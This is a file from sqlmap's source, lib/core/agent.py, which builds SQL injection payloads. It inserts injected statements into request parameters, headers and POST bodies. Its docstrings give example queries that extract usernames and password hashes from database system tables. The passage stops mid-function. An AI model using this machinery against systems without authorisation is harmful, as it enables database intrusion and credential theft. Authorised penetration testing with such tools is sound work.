Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/core/agent.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import re
9
10
from lib.core.common import Backend
11
from lib.core.common import extractRegexResult
12
from lib.core.common import filterNone
13
from lib.core.common import getSQLSnippet
14
from lib.core.common import getTechnique
15
from lib.core.common import getTechniqueData
16
from lib.core.common import hashDBRetrieve
17
from lib.core.common import isDBMSVersionAtLeast
18
from lib.core.common import isNumber
19
from lib.core.common import isTechniqueAvailable
20
from lib.core.common import randomInt
21
from lib.core.common import randomStr
22
from lib.core.common import safeSQLIdentificatorNaming
23
from lib.core.common import safeStringFormat
24
from lib.core.common import singleTimeWarnMessage
25
from lib.core.common import splitFields
26
from lib.core.common import unArrayizeValue
27
from lib.core.common import urlencode
28
from lib.core.common import zeroDepthSearch
29
from lib.core.compat import xrange
30
from lib.core.convert import encodeBase64
31
from lib.core.convert import getUnicode
32
from lib.core.data import conf
33
from lib.core.data import kb
34
from lib.core.data import queries
35
from lib.core.dicts import DUMP_DATA_PREPROCESS
36
from lib.core.dicts import FROM_DUMMY_TABLE
37
from lib.core.enums import DBMS
38
from lib.core.enums import FORK
39
from lib.core.enums import HASHDB_KEYS
40
from lib.core.enums import HTTP_HEADER
41
from lib.core.enums import PAYLOAD
42
from lib.core.enums import PLACE
43
from lib.core.enums import POST_HINT
44
from lib.core.exception import SqlmapNoneDataException
45
from lib.core.settings import BOUNDED_BASE64_MARKER
46
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
47
from lib.core.settings import BOUNDED_INJECTION_MARKER
48
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
49
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
50
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
51
from lib.core.settings import GENERIC_SQL_COMMENT
52
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
53
from lib.core.settings import INFERENCE_MARKER
54
from lib.core.settings import NULL
55
from lib.core.settings import PAYLOAD_DELIMITER
56
from lib.core.settings import REPLACEMENT_MARKER
57
from lib.core.settings import SINGLE_QUOTE_MARKER
58
from lib.core.settings import SLEEP_TIME_MARKER
59
from lib.core.settings import UNICODE_ENCODING
60
from lib.core.unescaper import unescaper
61
from thirdparty import six
62
63
class Agent(object):
64
"""
65
This class defines the SQL agent methods.
66
"""
67
68
def payloadDirect(self, query):
69
query = self.cleanupPayload(query)
70
71
if query.upper().startswith("AND "):
72
query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
73
elif query.upper().startswith(" UNION ALL "):
74
query = re.sub(r"(?i) UNION ALL ", "", query, 1)
75
elif query.startswith("; "):
76
query = query.replace("; ", "", 1)
77
78
if Backend.getIdentifiedDbms() in (DBMS.ORACLE,): # non-standard object(s) make problems to a database connector while returned (e.g. XMLTYPE)
79
_, _, _, _, _, _, fieldsToCastStr, _ = self.getFields(query)
80
for field in fieldsToCastStr.split(','):
81
query = query.replace(field, self.nullAndCastField(field))
82
83
if kb.tamperFunctions:
84
for function in kb.tamperFunctions:
85
query = function(payload=query)
86
87
return query
88
89
def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
90
"""
91
This method replaces the affected parameter with the SQL
92
injection statement to request
93
"""
94
95
if conf.direct:
96
return self.payloadDirect(newValue)
97
98
retVal = ""
99
100
if kb.forceWhere:
101
where = kb.forceWhere
102
elif where is None and isTechniqueAvailable(getTechnique()):
103
where = getTechniqueData().where
104
105
if kb.injection.place is not None:
106
place = kb.injection.place
107
108
if kb.injection.parameter is not None:
109
parameter = kb.injection.parameter
110
111
paramString = conf.parameters[place]
112
paramDict = conf.paramDict[place]
113
origValue = getUnicode(paramDict[parameter])
114
newValue = getUnicode(newValue) if newValue else newValue
115
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
116
117
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
118
paramString = origValue
119
if place == PLACE.URI:
120
origValue = origValue.split(kb.customInjectionMark)[0]
121
else:
122
origValue = filterNone(re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z"))[0].group(0)
123
origValue = origValue[origValue.rfind('/') + 1:]
124
for char in ('?', '=', ':', ',', '&'):
125
if char in origValue:
126
origValue = origValue[origValue.rfind(char) + 1:]
127
elif place == PLACE.CUSTOM_POST:
128
paramString = origValue
129
origValue = origValue.split(kb.customInjectionMark)[0]
130
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
131
origValue = re.split(r"['\">]", origValue)[-1]
132
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
133
match = re.search(r"['\"]", origValue)
134
quote = match.group(0) if match else '"'
135
origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue)
136
else:
137
_ = extractRegexResult(r"(?s)(?P<result>[^\s<>{}();'\"&]+\Z)", origValue) or ""
138
origValue = _.split('=', 1)[1] if '=' in _ else _
139
elif place == PLACE.CUSTOM_HEADER:
140
paramString = origValue
141
origValue = origValue[origValue.find(',') + 1:]
142
origValue = origValue.split(kb.customInjectionMark)[0]
143
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
144
if match:
145
origValue = match.group("value")
146
elif ',' in paramString:
147
header = paramString.split(',')[0]
148
149
if header.upper() == HTTP_HEADER.AUTHORIZATION.upper():
150
origValue = origValue.split(' ')[-1].split(':')[-1]
151
152
origValue = origValue or ""
153
154
if value is None:
155
if where == PAYLOAD.WHERE.ORIGINAL:
156
value = origValue
157
elif where == PAYLOAD.WHERE.NEGATIVE:
158
if conf.invalidLogical:
159
match = re.search(r"\A[^ ]+", newValue)
160
newValue = newValue[len(match.group() if match else ""):]
161
_ = randomInt(2)
162
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
163
elif conf.invalidBignum:
164
value = randomInt(6)
165
elif conf.invalidString:
166
value = randomStr(6)
167
else:
168
if newValue.startswith("-"):
169
value = ""
170
else:
171
value = "-%s" % randomInt()
172
elif where == PAYLOAD.WHERE.REPLACE:
173
value = ""
174
else:
175
value = origValue
176
177
newValue = "%s%s" % (value, newValue)
178
179
newValue = self.cleanupPayload(newValue, origValue) or ""
180
181
if base64Encoding:
182
_newValue = newValue
183
_origValue = origValue
184
185
if newValue:
186
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
187
newValue = self.adjustLateValues(newValue)
188
189
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5488
190
if kb.customInjectionMark in origValue:
191
payload = newValue.replace(origValue, "")
192
newValue = origValue.replace(kb.customInjectionMark, payload)
193
194
# TODO: support for POST_HINT
195
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
196
197
if parameter in kb.base64Originals:
198
origValue = kb.base64Originals[parameter]
199
else:
200
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
201
202
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
203
_ = "%s%s" % (origValue, kb.customInjectionMark)
204
205
if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
206
newValue = '"%s"' % self.addPayloadDelimiters(newValue)
207
elif kb.postHint == POST_HINT.JSON_LIKE and isNumber(origValue) and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
208
newValue = "'%s'" % self.addPayloadDelimiters(newValue)
209
else:
210
newValue = self.addPayloadDelimiters(newValue)
211
212
if newValue:
213
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
214
retVal = paramString.replace(_, newValue)
215
216
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
217
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
218
if base64Encoding:
219
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
220
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
221
if match:
222
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
223
else:
224
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
225
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
226
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
227
else:
228
def _(pattern, repl, string):
229
retVal = string
230
match = None
231
232
for match in re.finditer(pattern, string or ""):
233
pass
234
235
if match:
236
while True:
237
_ = re.search(r"\\g<([^>]+)>", repl)
238
if _:
239
try:
240
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
241
except IndexError:
242
break
243
else:
244
break
245
retVal = string[:match.start()] + repl + string[match.end():]
246
return retVal
247
248
if origValue:
249
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
250
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
251
else:
252
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
253
254
if retVal == paramString and urlencode(parameter) != parameter:
255
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
256
257
if retVal:
258
retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
259
260
return retVal
261
262
def prefixQuery(self, expression, prefix=None, where=None, clause=None):
263
"""
264
This method defines how the input expression has to be escaped
265
to perform the injection depending on the injection type
266
identified as valid
267
"""
268
269
if conf.direct:
270
return self.payloadDirect(expression)
271
272
if expression is None:
273
return None
274
275
expression = self.cleanupPayload(expression)
276
expression = unescaper.escape(expression)
277
query = None
278
279
if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
280
where = getTechniqueData().where
281
282
# If we are replacing (<where>) the parameter original value with
283
# our payload do not prepend with the prefix
284
if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
285
query = ""
286
287
# If the technique is stacked queries (<stype>) do not put a space
288
# after the prefix or it is in GROUP BY / ORDER BY (<clause>)
289
elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
290
query = kb.injection.prefix
291
elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
292
query = kb.injection.prefix
293
elif clause == [2, 3] or clause == [2] or clause == [3]:
294
query = prefix
295
296
# In any other case prepend with the full prefix
297
else:
298
query = kb.injection.prefix or prefix or ""
299
300
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
301
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
302
303
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
304
query += " "
305
306
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
307
308
return query
309
310
def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
311
"""
312
This method appends the DBMS comment to the
313
SQL injection request
314
"""
315
316
if conf.direct:
317
return self.payloadDirect(expression)
318
319
if expression is None:
320
return None
321
322
expression = self.cleanupPayload(expression)
323
324
# Take default values if None
325
suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
326
327
if getTechnique() is not None and getTechnique() in kb.injection.data:
328
where = getTechniqueData().where if where is None else where
329
comment = getTechniqueData().comment if comment is None else comment
330
331
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
332
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
333
comment = queries[Backend.getIdentifiedDbms()].comment.query
334
335
if comment is not None:
336
expression += comment
337
338
# If we are replacing (<where>) the parameter original value with
339
# our payload do not append the suffix
340
if where == PAYLOAD.WHERE.REPLACE and not conf.suffix:
341
pass
342
343
elif suffix and not comment:
344
if re.search(r"\w\Z", expression) and re.search(r"\A\w", suffix):
345
expression += " "
346
347
expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
348
349
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
350
351
def cleanupPayload(self, payload, origValue=None):
352
if not isinstance(payload, six.string_types):
353
return
354
355
replacements = {
356
"[DELIMITER_START]": kb.chars.start,
357
"[DELIMITER_STOP]": kb.chars.stop,
358
"[AT_REPLACE]": kb.chars.at,
359
"[SPACE_REPLACE]": kb.chars.space,
360
"[DOLLAR_REPLACE]": kb.chars.dollar,
361
"[HASH_REPLACE]": kb.chars.hash_,
362
"[GENERIC_SQL_COMMENT]": GENERIC_SQL_COMMENT
363
}
364
365
for value in re.findall(r"\[[A-Z_]+\]", payload):
366
if value in replacements:
367
payload = payload.replace(value, replacements[value])
368
369
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
370
payload = payload.replace(_, str(randomInt()))
371
372
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
373
payload = payload.replace(_, randomStr())
374
375
if origValue is not None:
376
origValue = getUnicode(origValue)
377
378
if "[ORIGVALUE]" in payload:
379
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
380
if "[ORIGINAL]" in payload:
381
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
382
383
if INFERENCE_MARKER in payload:
384
if Backend.getIdentifiedDbms() is not None:
385
inference = queries[Backend.getIdentifiedDbms()].inference
386
387
if "dbms_version" in inference:
388
if isDBMSVersionAtLeast(inference.dbms_version):
389
inferenceQuery = inference.query
390
else:
391
inferenceQuery = inference.query2
392
else:
393
inferenceQuery = inference.query
394
395
payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
396
397
elif not kb.testMode:
398
errMsg = "invalid usage of inference payload without "
399
errMsg += "knowledge of underlying DBMS"
400
raise SqlmapNoneDataException(errMsg)
401
402
return payload
403
404
def adjustLateValues(self, payload):
405
"""
406
Returns payload with a replaced late tags (e.g. SLEEPTIME)
407
"""
408
409
if payload:
410
for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
411
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
412
payload = payload.replace(match.group(0), _)
413
414
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
415
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
416
417
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
418
payload = payload.replace(_, str(randomInt()))
419
420
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
421
payload = payload.replace(_, randomStr())
422
423
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
424
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
425
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
426
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
427
elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,):
428
payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload)
429
if "SYS.USER$" in payload:
430
payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload)
431
payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload)
432
433
# NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057
434
match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload)
435
if match:
436
payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3))))
437
438
return payload
439
440
def getComment(self, request):
441
"""
442
Returns comment form for the given request
443
"""
444
445
return request.comment if "comment" in request else ""
446
447
def hexConvertField(self, field):
448
"""
449
Returns hex converted field string
450
"""
451
452
rootQuery = queries[Backend.getIdentifiedDbms()]
453
hexField = field
454
455
if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
456
hexField = rootQuery.hex.query % field
457
else:
458
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
459
singleTimeWarnMessage(warnMsg)
460
461
return hexField
462
463
def nullAndCastField(self, field):
464
"""
465
Take in input a field string and return its processed nulled and
466
casted field string.
467
468
Examples:
469
470
MySQL input: VERSION()
471
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
472
MySQL scope: VERSION()
473
474
PostgreSQL input: VERSION()
475
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
476
PostgreSQL scope: VERSION()
477
478
Oracle input: banner
479
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
480
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
481
482
Microsoft SQL Server input: @@VERSION
483
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
484
Microsoft SQL Server scope: @@VERSION
485
486
@param field: field string to be processed
487
@type field: C{str}
488
489
@return: field string nulled and casted
490
@rtype: C{str}
491
"""
492
493
match = re.search(r"(?i)(.+)( AS \w+)\Z", field)
494
if match:
495
field, suffix = match.groups()
496
else:
497
suffix = ""
498
499
nulledCastedField = field
500
501
if field and Backend.getIdentifiedDbms():
502
rootQuery = queries[Backend.getIdentifiedDbms()]
503
504
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
505
nulledCastedField = field
506
else:
507
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
508
nulledCastedField = rootQuery.cast.query % field
509
510
if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
511
pass
512
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
513
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
514
else:
515
nulledCastedField = rootQuery.isnull.query % nulledCastedField
516
517
kb.binaryField = conf.binaryFields and field in conf.binaryFields
518
if conf.hexConvert or kb.binaryField:
519
nulledCastedField = self.hexConvertField(nulledCastedField)
520
521
if suffix:
522
nulledCastedField += suffix
523
524
if not kb.nchar:
525
nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField)
526
527
return nulledCastedField
528
529
def nullCastConcatFields(self, fields):
530
"""
531
Take in input a sequence of fields string and return its processed
532
nulled, casted and concatenated fields string.
533
534
Examples:
535
536
MySQL input: user,password
537
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
538
MySQL scope: SELECT user, password FROM mysql.user
539
540
PostgreSQL input: usename,passwd
541
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
542
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
543
544
Oracle input: COLUMN_NAME,DATA_TYPE
545
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
546
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
547
548
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
549
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
550
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
551
552
@param fields: fields string to be processed
553
@type fields: C{str}
554
555
@return: fields string nulled, casted and concatened
556
@rtype: C{str}
557
"""
558
559
if not Backend.getIdentifiedDbms():
560
return fields
561
562
if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields):
563
nulledCastedConcatFields = fields
564
else:
565
fieldsSplitted = splitFields(fields)
566
dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
567
nulledCastedFields = []
568
569
for field in fieldsSplitted:
570
field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work
571
nulledCastedFields.append(self.nullAndCastField(field))
572
573
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter)
574
nulledCastedConcatFields = delimiterStr.join(field for field in nulledCastedFields)
575
576
return nulledCastedConcatFields
577
578
def getFields(self, query):
579
"""
580
Take in input a query string and return its fields (columns) and
581
more details.
582
583
Example:
584
585
Input: SELECT user, password FROM mysql.user
586
Output: user,password
587
588
@param query: query to be processed
589
@type query: C{str}
590
591
@return: query fields (columns) and more details
592
@rtype: C{str}
593
"""
594
595
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
596
fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I)
597
fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
598
fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
599
fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
600
fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I)
601
fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I)
602
fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
603
fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I)
604
fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I)
605
fieldsNoSelect = query
606
607
_ = zeroDepthSearch(query, " FROM ")
608
if not _:
609
fieldsSelectFrom = None
610
611
if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I):
612
fieldsMinMaxstr = None
613
614
fieldsToCastStr = fieldsNoSelect
615
616
if fieldsSubstr:
617
fieldsToCastStr = query
618
elif fieldsMinMaxstr:
619
fieldsToCastStr = fieldsMinMaxstr.group(1)
620
elif fieldsExists:
621
if fieldsSelect:
622
fieldsToCastStr = fieldsSelect.group(1)
623
elif fieldsSelectTop:
624
fieldsToCastStr = fieldsSelectTop.group(2)
625
elif fieldsSelectRownum:
626
fieldsToCastStr = fieldsSelectRownum.group(1)
627
elif fieldsSelectDistinct:
628
if Backend.getDbms() in (DBMS.HSQLDB,):
629
fieldsToCastStr = fieldsNoSelect
630
else:
631
fieldsToCastStr = fieldsSelectDistinct.group(1)
632
elif fieldsSelectCase:
633
fieldsToCastStr = fieldsSelectCase.group(1)
634
elif fieldsSelectFrom:
635
fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
636
fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
637
elif fieldsSelect:
638
fieldsToCastStr = fieldsSelect.group(1)
639
640
fieldsToCastStr = fieldsToCastStr or ""
641
642
# Function
643
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
644
fieldsToCastList = [fieldsToCastStr]
645
else:
646
fieldsToCastList = splitFields(fieldsToCastStr)
647
648
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists
649
650
def simpleConcatenate(self, first, second):
651
rootQuery = queries[Backend.getIdentifiedDbms()]
652
return rootQuery.concatenate.query % (first, second)
653
654
def preprocessField(self, table, field):
655
"""
656
Does a field preprocessing (if needed) based on its type (e.g. image to text)
657
Note: used primarily in dumping of custom tables
658
"""
659
660
retVal = field
661
if conf.db and table and conf.db in table:
662
table = table.split(conf.db)[-1].strip('.')
663
try:
664
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
665
for name, type_ in columns.items():
666
if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
667
retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
668
break
669
except KeyError:
670
pass
671
return retVal
672
673
def concatQuery(self, query, unpack=True):
674
"""
675
Take in input a query string and return its processed nulled,
676
casted and concatenated query string.
677
678
Examples:
679
680
MySQL input: SELECT user, password FROM mysql.user
681
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
682
683
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
684
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
685
686
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
687
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
688
689
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
690
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
691
692
@param query: query string to be processed
693
@type query: C{str}
694
695
@return: query string nulled, casted and concatenated
696
@rtype: C{str}
697
"""
698
699
if unpack:
700
concatenatedQuery = ""
701
query = query.replace(", ", ',')
702
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
703
castedFields = self.nullCastConcatFields(fieldsToCastStr)
704
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
705
else:
706
return query
707
708
if Backend.isDbms(DBMS.MYSQL):
709
if fieldsExists:
710
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
711
concatenatedQuery += ",'%s')" % kb.chars.stop
712
elif fieldsSelectCase:
713
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
714
concatenatedQuery += ",'%s')" % kb.chars.stop
715
elif fieldsSelectFrom:
716
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
717
concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
718
elif fieldsSelect:
719
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1)
720
concatenatedQuery += ",'%s')" % kb.chars.stop
721
elif fieldsNoSelect:
722
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
723
724
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
725
if fieldsExists:
726
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
727
concatenatedQuery += "||'%s'" % kb.chars.stop
728
elif fieldsSelectCase:
729
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
730
concatenatedQuery += ")||'%s'" % kb.chars.stop
731
elif fieldsSelectFrom:
732
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
733
